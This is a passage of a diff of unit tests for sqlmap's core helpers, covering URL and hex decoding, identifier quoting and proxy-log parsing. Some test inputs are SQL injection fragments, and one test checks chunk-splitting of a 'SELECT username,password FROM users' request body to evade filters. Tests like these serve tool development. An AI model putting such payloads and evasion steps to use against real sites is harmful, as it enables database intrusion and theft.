self.assertTrue(cleared["called"]) + # also accepts a real jar without raising + self.assertIsNone(resetCookieJar(jar)) + + +# =========================================================================== # +# from tests/test_core_extra.py (common.py classes) +# =========================================================================== # + +class TestCommonStringHelpers(unittest.TestCase): + """Small pure string/list/regex/encoding helpers in lib/core/common.py.""" + + def test_posix_to_nt_slashes(self): + from lib.core.common import posixToNtSlashes + self.assertEqual(posixToNtSlashes("C:/Windows"), "C:\\Windows") + self.assertEqual(posixToNtSlashes("a/b/c"), "a\\b\\c") + # falsy input returned unchanged + self.assertEqual(posixToNtSlashes(""), "") + self.assertIsNone(posixToNtSlashes(None)) + + def test_nt_to_posix_slashes(self): + from lib.core.common import ntToPosixSlashes + self.assertEqual(ntToPosixSlashes("C:\\Windows"), "C:/Windows") + self.assertEqual(ntToPosixSlashes("a\\b\\c"), "a/b/c") + self.assertEqual(ntToPosixSlashes(""), "") + + def test_is_hex_encoded_string(self): + from lib.core.common import isHexEncodedString + self.assertTrue(isHexEncodedString("DEADBEEF")) + self.assertTrue(isHexEncodedString("0x1234")) # 'x' is allowed by the regex + self.assertFalse(isHexEncodedString("test")) + self.assertFalse(isHexEncodedString("12 34")) # space breaks it + + def test_is_digit(self): + from lib.core.common import isDigit + self.assertTrue(isDigit("123456")) + self.assertFalse(isDigit("3b3")) + self.assertFalse(isDigit(u"\xb2")) # superscript-2: str.isdigit() True, isDigit False + self.assertFalse(isDigit("")) # empty -> no match + self.assertFalse(isDigit(None)) + + def test_sanitize_str(self): + from lib.core.common import sanitizeStr + self.assertEqual(sanitizeStr("foo\n\rbar"), "foo bar") + self.assertEqual(sanitizeStr("a\r\nb"), "a b") + self.assertEqual(sanitizeStr(None), "None") + + def test_filter_control_chars(self): + from lib.core.common import filterControlChars + self.assertEqual(filterControlChars("AND 1>(2+3)\n--"), "AND 1>(2+3) --") + # custom replacement character + self.assertEqual(filterControlChars("a\tb", replacement="_"), "a_b") + + def test_normalize_path(self): + from lib.core.common import normalizePath + self.assertEqual(normalizePath("//var///log/apache.log"), "/var/log/apache.log") + self.assertEqual(normalizePath("/a/b/../c"), "/a/c") + + def test_directory_path(self): + from lib.core.common import directoryPath + self.assertEqual(directoryPath("/var/log/apache.log"), "/var/log") + # no extension -> returned unchanged + self.assertEqual(directoryPath("/var/log"), "/var/log") + + def test_longest_common_prefix(self): + from lib.core.common import longestCommonPrefix + self.assertEqual(longestCommonPrefix("foobar", "fobar"), "fo") + self.assertEqual(longestCommonPrefix("abc", "abd", "abe"), "ab") + # single sequence returned verbatim + self.assertEqual(longestCommonPrefix("only"), "only") + + def test_first_not_none(self): + from lib.core.common import firstNotNone + self.assertEqual(firstNotNone(None, None, 1, 2, 3), 1) + self.assertEqual(firstNotNone(None, 0), 0) # 0 is not None + self.assertIsNone(firstNotNone(None, None)) + + def test_decode_string_escape(self): + from lib.core.common import decodeStringEscape + self.assertEqual(decodeStringEscape("a\\tb"), "a\tb") + self.assertEqual(decodeStringEscape("a\\nb"), "a\nb") + # no backslash -> unchanged + self.assertEqual(decodeStringEscape("plain"), "plain") + + def test_encode_string_escape(self): + from lib.core.common import encodeStringEscape + self.assertEqual(encodeStringEscape("a\tb"), "a\\tb") + self.assertEqual(encodeStringEscape("a\nb"), "a\\nb") + self.assertEqual(encodeStringEscape("plain"), "plain") + + def test_decode_encode_string_escape_roundtrip(self): + from lib.core.common import decodeStringEscape, encodeStringEscape + self.assertEqual(decodeStringEscape(encodeStringEscape("x\ty\nz")), "x\ty\nz") + + def test_escape_json_value(self): + from lib.core.common import escapeJsonValue + # newline gets escaped (literal '\n' becomes the two chars backslash+n) + self.assertNotIn("\n", escapeJsonValue("foo\nbar")) + self.assertIn("\\n", escapeJsonValue("foo\nbar")) + # tab gets escaped to '\t' + self.assertIn("\\t", escapeJsonValue("foo\tbar")) + # quote and backslash escaped + self.assertEqual(escapeJsonValue('a"b'), 'a\\"b') + self.assertEqual(escapeJsonValue("a\\b"), "a\\\\b") + # ordinary characters untouched + self.assertEqual(escapeJsonValue("plain text"), "plain text") + + def test_clean_query(self): + from lib.core.common import cleanQuery + self.assertEqual(cleanQuery("select id from users"), "SELECT id FROM users") + # already-uppercase keywords stay; identifiers untouched + self.assertEqual(cleanQuery("SELECT a FROM t"), "SELECT a FROM t") + + def test_json_minimize_canonical(self): + from lib.core.common import jsonMinimize + # key order / whitespace independence + self.assertEqual(jsonMinimize('{"b": 2, "a": 1}'), jsonMinimize('{"a":1, "b":2}')) + # nested leaf path + self.assertEqual(jsonMinimize('{"a": {"b": 1}}'), ".a.b=1") + # empty object + self.assertEqual(jsonMinimize("{}"), "") + # not parseable -> None (and only None) + self.assertIsNone(jsonMinimize("not json")) + + def test_json_minimize_array_length_registers(self): + from lib.core.common import jsonMinimize + # array length change must perturb the projection + self.assertNotEqual(jsonMinimize('{"a": [1, 2]}'), jsonMinimize('{"a": [1, 2, 3]}')) + + def test_list_to_str_value(self): + from lib.core.common import listToStrValue + self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") + # set/tuple/generator normalized via list first + self.assertEqual(listToStrValue((1, 2)), "1, 2") + # non-list passes through + self.assertEqual(listToStrValue("abc"), "abc") + + def test_intersect(self): + from lib.core.common import intersect + self.assertEqual(intersect([1, 2, 3], set([1, 3])), [1, 3]) + # order follows containerA + self.assertEqual(intersect([3, 2, 1], [1, 2]), [2, 1]) + # case-insensitive option + self.assertEqual(intersect(["FOO", "bar"], ["foo"], lowerCase=True), ["foo"]) + + def test_priority_sort_columns(self): + from lib.core.common import prioritySortColumns + # 'id'-containing columns first, then by ascending length + self.assertEqual( + prioritySortColumns(["password", "userid", "name", "id"]), + ["id", "userid", "name", "password"], + ) + + def test_safe_variable_naming(self): + from lib.core.common import safeVariableNaming + self.assertEqual(safeVariableNaming("class.id"), "EVAL_636c6173732e6964") + # plain identifier left untouched + self.assertEqual(safeVariableNaming("foobar"), "foobar") + + def test_unsafe_variable_naming(self): + from lib.core.common import unsafeVariableNaming + self.assertEqual(unsafeVariableNaming("EVAL_636c6173732e6964"), "class.id") + self.assertEqual(unsafeVariableNaming("foobar"), "foobar") + + def test_variable_naming_roundtrip(self): + from lib.core.common import safeVariableNaming, unsafeVariableNaming + self.assertEqual(unsafeVariableNaming(safeVariableNaming("a-b")), "a-b") + + def test_average(self): + from lib.core.common import average + self.assertAlmostEqual(average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]), 0.9, places=6) + self.assertEqual(average([2, 4]), 3.0) + self.assertIsNone(average([])) + + def test_stdev(self): + from lib.core.common import stdev + self.assertEqual("%.3f" % stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]), "0.063") + # fewer than 2 values -> None + self.assertIsNone(stdev([1.0])) + self.assertIsNone(stdev([])) + + +class TestCommonSafeCompare(unittest.TestCase): + """Constant-time / checksum helpers.""" + + def test_safe_compare_strings(self): + from lib.core.common import safeCompareStrings + self.assertTrue(safeCompareStrings("test", "test")) + self.assertFalse(safeCompareStrings("test1", "test2")) + self.assertFalse(safeCompareStrings("test", None)) + # both None compares equal (a == b path) + self.assertTrue(safeCompareStrings(None, None)) + + def test_safe_cs_value(self): + from lib.core.common import safeCSValue + # ensure deterministic delimiter + old = conf.get("csvDel") + conf.csvDel = defaults.csvDel + try: + self.assertEqual(safeCSValue("foo, bar"), '"foo, bar"') + self.assertEqual(safeCSValue("foobar"), "foobar") + self.assertEqual(safeCSValue("foo\rbar"), '"foo\rbar"') + self.assertEqual(safeCSValue('foo"bar'), '"foo""bar"') + finally: + conf.csvDel = old + + +class TestCommonSafeExString(unittest.TestCase): + def test_sqlmap_exception_message(self): + from lib.core.common import getSafeExString + from lib.core.exception import SqlmapBaseException + self.assertEqual(getSafeExString(SqlmapBaseException("foobar")), "foobar") + + def test_oserror_prefixed_with_type(self): + from lib.core.common import getSafeExString + self.assertEqual(getSafeExString(OSError(0, "foobar")), "OSError: foobar") + + def test_generic_value_error(self): + from lib.core.common import getSafeExString + self.assertEqual(getSafeExString(ValueError("bad input")), "ValueError: bad input") + + +class TestCommonHostHeader(unittest.TestCase): + def test_plain_host(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com/vuln.php?id=1"), "www.target.com") + + def test_default_port_stripped(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com:80/x"), "www.target.com") + self.assertEqual(getHostHeader("https://www.target.com:443/x"), "www.target.com") + + def test_nondefault_port_kept(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com:8080/x"), "www.target.com:8080") + + def test_ipv6_brackets(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://[::1]:8080/vuln.php?id=1"), "[::1]:8080") + self.assertEqual(getHostHeader("http://[::1]/vuln.php?id=1"), "[::1]") + + +class TestCommonCheckSameHost(unittest.TestCase): + def test_same_host(self): + from lib.core.common import checkSameHost + self.assertTrue(checkSameHost( + "http://www.target.com/page1.php?id=1", + "http://www.target.com/images/page2.php", + )) + + def test_different_host(self): + from lib.core.common import checkSameHost + self.assertFalse(checkSameHost( + "http://www.target.com/page1.php?id=1", + "http://www.target2.com/images/page2.php", + )) + + def test_www_prefix_ignored(self): + from lib.core.common import checkSameHost + # leading 'www.' is stripped before comparison + self.assertTrue(checkSameHost("http://www.target.com/a", "http://target.com/b")) + + def test_single_url_true_and_empty_none(self): + from lib.core.common import checkSameHost + self.assertTrue(checkSameHost("http://only.com/a")) + self.assertIsNone(checkSameHost()) + + +class TestCommonUrldecode(unittest.TestCase): + def test_convall_true(self): + from lib.core.common import urldecode + self.assertEqual(urldecode("AND%201%3E%282%2B3%29%23", convall=True), "AND 1>(2+3)#") + + def test_convall_false_keeps_unsafe(self): + from lib.core.common import urldecode + # %2B (plus) is in the default 'unsafe' set so it stays encoded when convall=False + self.assertEqual(urldecode("AND%201%3E%282%2B3%29%23", convall=False), "AND 1>(2%2B3)#") + + def test_bytes_input(self): + from lib.core.common import urldecode + self.assertEqual(urldecode(b"AND%201%3E%282%2B3%29%23", convall=False), "AND 1>(2%2B3)#") + + def test_spaceplus(self): + from lib.core.common import urldecode + # with spaceplus the '+' becomes a space + self.assertEqual(urldecode("a+b", convall=False, spaceplus=True), "a b") + # without spaceplus the '+' stays + self.assertEqual(urldecode("a+b", convall=False, spaceplus=False), "a+b") + + +class TestCommonChunkSplit(unittest.TestCase): + def test_chunk_split_post_data(self): + import random + from lib.core.common import chunkSplitPostData + from lib.core.patch import unisonRandom + # The pinned docstring value is produced under sqlmap's cross-version PRNG; install it + # (then restore the stdlib functions) so the expectation is deterministic here too. + _saved = (random.choice, random.randint, random.sample, random.seed) + unisonRandom() + try: + random.seed(0) + expected = ('5;4Xe90\r\nSELEC\r\n3;irWlc\r\nT u\r\n1;eT4zO\r\ns\r\n' + '5;YB4hM\r\nernam\r\n9;2pUD8\r\ne,passwor\r\n3;mp07y\r\nd F\r\n' + '5;8RKXi\r\nROM u\r\n4;MvMhO\r\nsers\r\n0\r\n\r\n') + self.assertEqual(chunkSplitPostData("SELECT username,password FROM users"), expected) + finally: + random.choice, random.randint, random.sample, random.seed = _saved + + def test_chunk_split_terminator(self): + import random + from lib.core.common import chunkSplitPostData + random.seed(123) + # regardless of content, the chunked stream must end with the zero-length terminator + self.assertTrue(chunkSplitPostData("abc").endswith("0\r\n\r\n")) + + +class TestCommonDecodeIntToUnicode(unittest.TestCase): + def tearDown(self): + set_dbms(None) + + def test_basic_ascii(self): + from lib.core.common import decodeIntToUnicode + self.assertEqual(decodeIntToUnicode(35), "#") + self.assertEqual(decodeIntToUnicode(64), "@") + self.assertEqual(decodeIntToUnicode(65), "A") + + def test_non_int_passthrough(self): + from lib.core.common import decodeIntToUnicode + # non-int is returned unchanged + self.assertEqual(decodeIntToUnicode("x"), "x") + + def test_pgsql_high_codepoint(self): + from lib.core.common import decodeIntToUnicode + set_dbms(DBMS.PGSQL) + # value > 255 on PGSQL takes the _unichr(value) branch + self.assertEqual(decodeIntToUnicode(0x2122), u"™") + + +class TestCommonDecodeDbmsHex(unittest.TestCase): + def setUp(self): + self._old_binary = kb.binaryField + kb.binaryField = False + + def tearDown(self): + kb.binaryField = self._old_binary + set_dbms(None) + + def test_plain_hex(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("3132332031"), u"123 1") + + def test_odd_length_appends_question_mark(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("313233203"), u"123 ?") + + def test_list_input(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue(["0x31", "0x32"]), [u"1", u"2"]) + + def test_non_hex_passthrough(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("5.1.41"), u"5.1.41") + + +class TestCommonUnsafeSQLIdentificator(unittest.TestCase): + def tearDown(self): + set_dbms(None) + + def test_mssql_brackets(self): + from lib.core.common import unsafeSQLIdentificatorNaming + from lib.core.common import getText + set_dbms(DBMS.MSSQL) + self.assertEqual(getText(unsafeSQLIdentificatorNaming("[begin]")), "begin") + self.assertEqual(getText(unsafeSQLIdentificatorNaming("foobar")), "foobar") + + def test_mysql_backticks(self): + from lib.core.common import unsafeSQLIdentificatorNaming, getText + set_dbms(DBMS.MYSQL) + self.assertEqual(getText(unsafeSQLIdentificatorNaming("`col`")), "col") + + def test_oracle_uppercases(self): + from lib.core.common import unsafeSQLIdentificatorNaming, getText + set_dbms(DBMS.ORACLE) + # Oracle strips double quotes and uppercases + self.assertEqual(getText(unsafeSQLIdentificatorNaming('"name"')), "NAME") + + +class TestCommonParseSqliteSchema(unittest.TestCase): + def setUp(self): + self._old_cached = kb.data.get("cachedColumns") + self._old_db = conf.db + self._old_tbl = conf.tbl + kb.data.cachedColumns = {} + conf.db = "SQLITE_MASTER" + conf.tbl = "users" + + def tearDown(self): + kb.data.cachedColumns = self._old_cached + conf.db = self._old_db + conf.tbl = self._old_tbl + + def test_simple_schema(self): + from lib.core.common import parseSqliteTableSchema + self.assertTrue(parseSqliteTableSchema( + "CREATE TABLE users(\n\t\tid INTEGER,\n\t\tname TEXT\n);")) + cols = kb.data.cachedColumns[conf.db][conf.tbl] + self.assertEqual(tuple(cols.items()), (("id", "INTEGER"), ("name", "TEXT"))) + + def test_constraints_skipped(self): + from lib.core.common import parseSqliteTableSchema + self.assertTrue(parseSqliteTableSchema( + "CREATE TABLE suppliers(\n\tsupplier_id INTEGER PRIMARY KEY DESC,\n\tname TEXT NOT NULL\n);")) + cols = kb.data.cachedColumns[conf.db][conf.tbl] + self.assertEqual(tuple(cols.items()), (("supplier_id", "INTEGER"), ("name", "TEXT"))) + + +# =========================================================================== # +# from tests/test_core_final.py (common.py classes) +# =========================================================================== # + +class TestCommonPureHelpers(unittest.TestCase): + """Pure string/encoding/list/regex helpers from lib/core/common.py.""" + + def test_boldify_message_marks_known_pattern(self): + self.assertEqual( + boldifyMessage("GET parameter id is not injectable", istty=True), + "\x1b[1mGET parameter id is not injectable\x1b[0m", + ) + + def test_boldify_message_leaves_plain_unchanged(self): + self.assertEqual(boldifyMessage("just a plain message", istty=True), "just a plain message") + + def test_calculate_delta_seconds_from_epoch(self): + self.assertGreater(calculateDeltaSeconds(0), 1151721660) + + def test_calculate_delta_seconds_nonnegative(self): + import time as _time + self.assertGreaterEqual(calculateDeltaSeconds(_time.time()), 0.0) + + def test_common_finder_only_returns_longest_common_prefix(self): + self.assertEqual(commonFinderOnly("abcd", ["abcdefg", "foobar", "abcde"]), "abcde") + + def test_enum_value_to_name_lookup_hit(self): + self.assertEqual(enumValueToNameLookup(SORT_ORDER, SORT_ORDER.LAST), "LAST") + + def test_enum_value_to_name_lookup_miss(self): + self.assertIsNone(enumValueToNameLookup(SORT_ORDER, -987654321)) + + def test_file_path_to_safe_string(self): + self.assertEqual(filePathToSafeString("C:/Windows/system32"), "C__Windows_system32") + + def test_file_path_to_safe_string_spaces_backslashes(self): + self.assertEqual(filePathToSafeString("a b\\c:d"), "a_b_c_d") + + def test_is_windows_drive_letter_path_true(self): + self.assertTrue(isWindowsDriveLetterPath("C:\\boot.ini")) + + def test_is_windows_drive_letter_path_false(self): + self.assertFalse(isWindowsDriveLetterPath("/var/log/apache.log")) + + def test_clean_replace_unicode_list(self): + self.assertEqual(cleanReplaceUnicode(["a", "b"]), ["a", "b"]) + + def test_clean_replace_unicode_scalar(self): + self.assertEqual(cleanReplaceUnicode(u"plain"), u"plain") + + def test_trim_alpha_num(self): + self.assertEqual(trimAlphaNum("AND 1>(2+3)-- foobar"), " 1>(2+3)-- ") + + def test_trim_alpha_num_all_alnum(self): + self.assertEqual(trimAlphaNum("abc123"), "") + + def test_trim_alpha_num_empty(self): + self.assertEqual(trimAlphaNum(""), "") + + def test_list_to_str_value_list(self): + self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") + + def test_list_to_str_value_tuple(self): + self.assertEqual(listToStrValue((4, 5)), "4, 5") + + def test_list_to_str_value_scalar(self): + self.assertEqual(listToStrValue("foo"), "foo") + + def test_intersect_lists(self): + self.assertEqual(intersect([1, 2, 3], set([1, 3])), [1, 3]) + + def test_intersect_lowercase(self): + self.assertEqual(intersect(["A", "B"], ["a"], lowerCase=True), ["a"]) + + def test_intersect_empty(self): + self.assertEqual(intersect([], [1, 2]), []) + + def test_apply_function_recursively(self): + self.assertEqual( + applyFunctionRecursively([1, 2, [3, -9]], lambda _: _ > 0), + [True, True, [True, False]], + ) + + def test_apply_function_recursively_scalar(self): + self.assertEqual(applyFunctionRecursively(5, lambda _: _ + 1), 6) + + +class TestCommonRegexAndPage(unittest.TestCase): + """Regex / page-content extraction helpers.""" + + def test_extract_regex_result_hit(self): + self.assertEqual(extractRegexResult(r"a(?P[^g]+)g", "abcdefg"), "bcdef") + + def test_extract_regex_result_no_match(self): + self.assertIsNone(extractRegexResult(r"a(?P[^g]+)g", "xyz")) + + def test_extract_regex_result_no_result_group(self): + self.assertIsNone(extractRegexResult(r"plain", "plain")) + + def test_extract_regex_result_empty_content(self): + self.assertIsNone(extractRegexResult(r"a(?P.)b", "")) + + def test_extract_text_tag_content(self): + self.assertEqual( + extractTextTagContent("Title
foobar
"), + ["Title", "foobar"], + ) + + def test_extract_text_tag_content_empty(self): + self.assertEqual(extractTextTagContent(""), []) + + def test_get_filtered_page_content(self): + self.assertEqual( + getFilteredPageContent(u"foobartest"), + "foobar test", + ) + + def test_get_filtered_page_content_drops_script(self): + page = u"hello" + self.assertNotIn("var x", getFilteredPageContent(page)) + self.assertIn("hello", getFilteredPageContent(page)) + + def test_get_filtered_page_content_nonstring_passthrough(self): + self.assertEqual(getFilteredPageContent(None), None) + + def test_extract_error_message_oracle(self): + page = (u"Test\nWarning: oci_parse() " + u"[function.oci-parse]: ORA-01756: quoted string not properly " + u"terminated

Only a test page

") + self.assertEqual( + getText(extractErrorMessage(page)), + "oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated", + ) + + def test_extract_error_message_none_for_plain(self): + self.assertIsNone(extractErrorMessage("Warning: This is only a dummy foobar test")) + + def test_extract_error_message_non_string(self): + self.assertIsNone(extractErrorMessage(None)) + + def test_find_multipart_post_boundary(self): + post = ("-----------------------------9051914041544843365972754266\n" + "Content-Disposition: form-data; name=text\n\ndefault") + self.assertEqual(findMultipartPostBoundary(post), "9051914041544843365972754266") + + def test_find_multipart_post_boundary_none(self): + self.assertIsNone(findMultipartPostBoundary("")) + + +class TestCommonHeadersAndExpected(unittest.TestCase): + + def test_get_header_case_insensitive(self): + self.assertEqual(getHeader({"Foo": "bar"}, "foo"), "bar") + + def test_get_header_missing(self): + self.assertIsNone(getHeader({"Foo": "bar"}, "x")) + + def test_get_header_empty_dict(self): + self.assertIsNone(getHeader({}, "anything")) + + def test_get_request_header_hit(self): + self.assertEqual(getText(getRequestHeader(_FakeRequest({"FOO": "BAR"}), "foo")), "BAR") + + def test_get_request_header_miss(self): + self.assertIsNone(getRequestHeader(_FakeRequest({"FOO": "BAR"}), "missing")) + + def test_extract_expected_value_bool_true(self): + self.assertIs(extractExpectedValue(["1"], EXPECTED.BOOL), True) + + def test_extract_expected_value_bool_false(self): + self.assertIs(extractExpectedValue(["0"], EXPECTED.BOOL), False) + + def test_extract_expected_value_bool_word(self): + self.assertIs(extractExpectedValue(["true"], EXPECTED.BOOL), True) + self.assertIs(extractExpectedValue(["false"], EXPECTED.BOOL), False) + + def test_extract_expected_value_int(self): + self.assertEqual(extractExpectedValue("5", EXPECTED.INT), 5) + + def test_extract_expected_value_int_invalid(self): + self.assertIsNone(extractExpectedValue(u"7\xb9645", EXPECTED.INT)) + + def test_extract_expected_value_no_expected(self): + self.assertEqual(extractExpectedValue("foo", None), "foo") + + +class TestParseJsonAndHash(unittest.TestCase): + + def test_parse_json_double_quotes(self): + self.assertEqual(parseJson('{"id":1}')["id"], 1) + + def test_parse_json_single_quotes(self): + self.assertEqual(parseJson("{'id':1, 'foo':[2,3,4]}")["id"], 1) + + def test_parse_json_not_json(self): + self.assertIsNone(parseJson("this is not json")) + + def test_parse_password_hash_mssql(self): + saved = kb.forcedDbms + try: + kb.forcedDbms = DBMS.MSSQL + result = parsePasswordHash("0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a") + self.assertIn("salt: 4086ceb6", result) + self.assertIn("header: 0x0100", result) + finally: + kb.forcedDbms = saved + + def test_parse_password_hash_none(self): + self.assertEqual(parsePasswordHash(None), NULL) + + def test_parse_password_hash_blank(self): + self.assertEqual(parsePasswordHash(" "), NULL) + + +class TestSerializeAndTechnique(unittest.TestCase): + + def test_serialize_roundtrip(self): + self.assertEqual(unserializeObject(serializeObject([1, 2, 3])), [1, 2, 3]) + + def test_serialize_object_is_str(self): + self.assertIsInstance(serializeObject([1, 2, ("a", "b")]), str) + + def test_unserialize_none(self): + self.assertIsNone(unserializeObject(None)) + + def test_set_get_technique_thread_local(self): + saved = getTechnique() + try: + setTechnique(5) + self.assertEqual(getTechnique(), 5) + finally: + setTechnique(saved) + + def test_get_technique_falls_back_to_kb(self): + saved_thread = getTechnique() + saved_kb = kb.get("technique") + try: + setTechnique(None) + kb.technique = 7 + self.assertEqual(getTechnique(), 7) + finally: + setTechnique(saved_thread) + kb.technique = saved_kb + + +class TestRemovePostHint(unittest.TestCase): + + def test_removes_known_prefix(self): + self.assertEqual(removePostHintPrefix("JSON id"), "id") + + def test_no_prefix_unchanged(self): + self.assertEqual(removePostHintPrefix("id"), "id") + + +class TestFileHelpers(unittest.TestCase): + + def test_check_file_existing(self): + self.assertTrue(checkFile(__file__)) + + def test_check_file_missing_no_raise(self): + self.assertFalse(checkFile("/no/such/path_xyz_123", raiseOnError=False)) + + def test_check_file_missing_raises(self): + with self.assertRaises(SqlmapSystemException): + checkFile("/no/such/path_xyz_123", raiseOnError=True) + + def test_is_zip_file_wordlist(self): + # paths.WORDLIST is a zip-compressed wordlist shipped with sqlmap + self.assertTrue(isZipFile(paths.WORDLIST)) + + def test_is_zip_file_plain_text(self): + self.assertFalse(isZipFile(paths.SQL_KEYWORDS)) + + def test_safe_filepath_encode_ascii_passthrough(self): + # On Python 3 the function returns the value unchanged for str input + self.assertEqual(safeFilepathEncode("/tmp/x"), "/tmp/x") + + def test_safe_expand_user_basename_preserved(self): + self.assertIn(os.path.basename(__file__), safeExpandUser(__file__)) + + +class TestCheckOldOptions(unittest.TestCase): + + def test_no_old_options_is_noop(self): + # Returns None and does not raise when no deprecated options are present + self.assertIsNone(checkOldOptions(["-u", "http://test.invalid/?id=1", "--banner"])) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_common_parsers.py b/tests/test_common_parsers.py deleted file mode 100644 index 4c2882990..000000000 --- a/tests/test_common_parsers.py +++ /dev/null @@ -1,466 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -Pure / near-pure parsers and state helpers in lib/core/common.py that are NOT -already exercised by tests/test_common_utils.py. - -Covered here: - * proxy-log parsers reached through parseRequestFile() - (_parseBurpLog plain log, _parseBurpLog Burp XML history, _parseWebScarabLog) - * parseTargetDirect() non-smoke branch (driver resolution for SQLite) - * removeReflectiveValues() reflected-payload masking - * findPageForms() HTML
and inline JS POST discovery - * saveConfig() .ini serialization - * getSQLSnippet() proc-file loading + variable substitution - * checkSystemEncoding() (no-op on a normal default encoding) - * Format.getOs() fingerprint humanizer - * Backend setters/getters (setOs/getOs, setOsVersion, setOsServicePack, - setVersion/getVersion/setVersionList) - * urlencode() extra branches (LIKE percent-encoding, convall, limit, direct) - * safeStringFormat() extra branches (PAYLOAD_DELIMITER region, scalar percent) - -Everything is run in isolation (no network, no DBMS). Any function that -reads/writes global conf/kb/Backend state has that state saved and restored -around the call so test ordering stays irrelevant. Temp files go to the -session scratchpad and are removed. -""" - -import os -import sys -import base64 -import tempfile -import unittest - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap -bootstrap() - -from lib.core.common import ( - parseRequestFile, - parseTargetDirect, - removeReflectiveValues, - findPageForms, - saveConfig, - getSQLSnippet, - checkSystemEncoding, - urlencode, - safeStringFormat, - Format, - Backend, -) -from lib.core.data import kb, conf -from lib.core.enums import DBMS, HTTPMETHOD -from lib.core.settings import REFLECTED_VALUE_MARKER, PAYLOAD_DELIMITER - -SCRATCH = "/tmp/claude-1000/-tmp-tmp-oUnlQJzlQN/fcd55d25-6313-49ed-817e-dcbe7fc2bf22/scratchpad" - - -def _write_temp(content, suffix): - """Write `content` (str) to a scratchpad temp file, return its path.""" - if not os.path.isdir(SCRATCH): - os.makedirs(SCRATCH) - handle, path = tempfile.mkstemp(suffix=suffix, dir=SCRATCH) - os.write(handle, content.encode("utf-8") if isinstance(content, str) else content) - os.close(handle) - return path - - -class TestParseRequestFileBurp(unittest.TestCase): - """_parseBurpLog via parseRequestFile (plain '=====' log + Burp XML history).""" - - def setUp(self): - self._scope = conf.scope - self._method = conf.method - self._headers = conf.headers - conf.scope = None - - def tearDown(self): - conf.scope = self._scope - conf.method = self._method - conf.headers = self._headers - - def test_plain_burp_log_get(self): - content = ( - "======================================================\n" - "GET http://www.target.com:80/vuln.php?id=1 HTTP/1.1\n" - "Host: www.target.com\n" - "Cookie: PHPSESSID=abc\n" - "======================================================\n" - ) - path = _write_temp(content, ".log") - try: - targets = list(parseRequestFile(path)) - finally: - os.unlink(path) - - self.assertEqual(len(targets), 1) - url, method, data, cookie, headers = targets[0] - self.assertEqual(url, "http://www.target.com:80/vuln.php?id=1") - self.assertEqual(method, HTTPMETHOD.GET) - self.assertIsNone(data) - self.assertEqual(cookie, "PHPSESSID=abc") - self.assertIn(("Host", "www.target.com"), headers) - - def test_burp_xml_history_base64_request(self): - req = "GET /vuln.php?id=1 HTTP/1.1\r\nHost: www.target.com\r\nCookie: SID=xyz\r\n\r\n" - b64 = base64.b64encode(req.encode()).decode() - xml = ('80' - '' - '' % b64) - path = _write_temp(xml, ".xml") - try: - targets = list(parseRequestFile(path)) - finally: - os.unlink(path) - - self.assertEqual(len(targets), 1) - url, method, data, cookie, headers = targets[0] - self.assertEqual(url, "http://www.target.com:80/vuln.php?id=1") - self.assertEqual(method, HTTPMETHOD.GET) - self.assertEqual(cookie, "SID=xyz") - - def test_post_body_captured(self): - content = ( - "======================================================\n" - "POST http://www.target.com:80/login HTTP/1.1\n" - "Host: www.target.com\n" - "Content-Length: 17\n" - "\n" - "user=admin&pw=1\n" - "======================================================\n" - ) - path = _write_temp(content, ".log") - try: - targets = list(parseRequestFile(path)) - finally: - os.unlink(path) - - self.assertEqual(len(targets), 1) - url, method, data, cookie, headers = targets[0] - self.assertEqual(method, HTTPMETHOD.POST) - self.assertEqual(data, "user=admin&pw=1") - - def test_scope_filters_out_nonmatching(self): - content = ( - "======================================================\n" - "GET http://www.target.com:80/vuln.php?id=1 HTTP/1.1\n" - "Host: www.target.com\n" - "======================================================\n" - ) - path = _write_temp(content, ".log") - try: - conf.scope = r"example\.org" # does not match target.com - targets = list(parseRequestFile(path)) - finally: - os.unlink(path) - self.assertEqual(targets, []) - - -class TestParseRequestFileWebScarab(unittest.TestCase): - """_parseWebScarabLog via parseRequestFile.""" - - def setUp(self): - self._scope = conf.scope - conf.scope = None - - def tearDown(self): - conf.scope = self._scope - - def test_get_conversation(self): - content = ( - "### Conversation : 1\n" - "URL: http://www.target.com/vuln.php?id=1\n" - "METHOD: GET\n" - "COOKIE: SID=abc\n" - ) - path = _write_temp(content, ".log") - try: - targets = list(parseRequestFile(path)) - finally: - os.unlink(path) - - self.assertEqual(len(targets), 1) - url, method, data, cookie, headers = targets[0] - self.assertEqual(url, "http://www.target.com/vuln.php?id=1") - self.assertEqual(method, "GET") - self.assertIsNone(data) - self.assertEqual(cookie, "SID=abc") - self.assertEqual(headers, tuple()) - - def test_post_conversation_skipped(self): - # POST bodies live in separate files -> WebScarab POSTs are skipped - content = ( - "### Conversation : 1\n" - "URL: http://www.target.com/login\n" - "METHOD: POST\n" - ) - path = _write_temp(content, ".log") - try: - targets = list(parseRequestFile(path)) - finally: - os.unlink(path) - self.assertEqual(targets, []) - - -class TestParseTargetDirectNonSmoke(unittest.TestCase): - """parseTargetDirect() non-smoke branch: resolves the canonical DBMS name. - - Uses SQLite because its driver (stdlib sqlite3) is always importable. - """ - - _KEYS = ("direct", "dbms", "dbmsUser", "dbmsPass", "dbmsDb", "hostname", "port") - - def setUp(self): - self._saved = {k: conf.get(k) for k in self._KEYS} - self._smoke = kb.smokeMode - self._params_none = conf.parameters.get(None) - - def tearDown(self): - for k, v in self._saved.items(): - conf[k] = v - kb.smokeMode = self._smoke - if 